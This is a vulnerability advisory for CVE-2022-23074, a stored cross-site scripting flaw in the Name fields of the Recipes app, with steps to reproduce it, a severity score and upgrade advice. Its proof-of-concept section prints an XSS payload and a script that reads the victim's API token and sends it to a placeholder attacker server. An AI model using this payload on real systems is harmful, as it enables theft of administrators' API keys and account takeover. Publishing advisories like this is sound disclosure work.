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CVE-2022-23074

Date: June 21, 2022

Overview

In Recipes, versions 0.17.0 through 1.2.5 are vulnerable to Stored Cross-Site Scripting (XSS), in the ‘Name’ field of Keyword, Food and Unit components. When a victim accesses the Keyword/Food/Unit endpoints, the XSS payload will trigger. A low privileged attacker will have the victim's API key and can lead to admin's account takeover.

Details

In Recipes, versions 0.17.0 through 1.2.5 are vulnerable to Stored Cross-Site Scripting (XSS), in the ‘Name’ field of Keyword, Food and Unit components. When a victim accesses the Keyword/Food/Unit endpoints, the XSS payload will trigger. A low privileged attacker will have the victim's API key and can lead to admin's account takeover.

PoC Details

Access the application through a web browser and login as a user. Now navigate to the food list from the navigation bar. On the food list page, click on the plus '+' icon. Under the name input field, enter the XSS payload given in the "POC Code" section below and save it. Then host the JavaScript file for fetching the victim's API (the code for the JavaScript file can be found in the "POC Code" section below). In a new browser window, login as administrator and access the food list page (for example). This will trigger the XSS payload and the attacker will receive the admin's API key in the listener.

PoC Code

XSS payload: 
<img src=a onerror="var x=document.createElement('script');x.src='<attacker_server>/api.js';document.body.appendChild(x);">

JavaScript file (api.js):
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/settings/',true);
req.send();
function handleResponse() {
t var a=this.responseText.match(/Authorization: Token.{1,}/)[0];
t a=a.split("Token ")[1];
t a=a.split("<")[0];
t console.log(a);
t var changeReq = new XMLHttpRequest();
     changeReq.open('get', '<attacker_server>:<attacker_port>/api='+a, false);
     changeReq.send()

Affected Environments

0.17.0 through 1.2.5

Prevention

Update version to 1.2.6 or higher

Language: Python

Good to know:

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Cross-Site Scripting (XSS)

CWE-79
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Upgrade Version

Upgrade to version 1.2.6

Learn More

Base Score:
Attack Vector (AV): Network
Attack Complexity (AC): Low
Privileges Required (PR): Low
User Interaction (UI): Required
Scope (S): Changed
Confidentiality (C): Low
Integrity (I): Low
Availability (A): None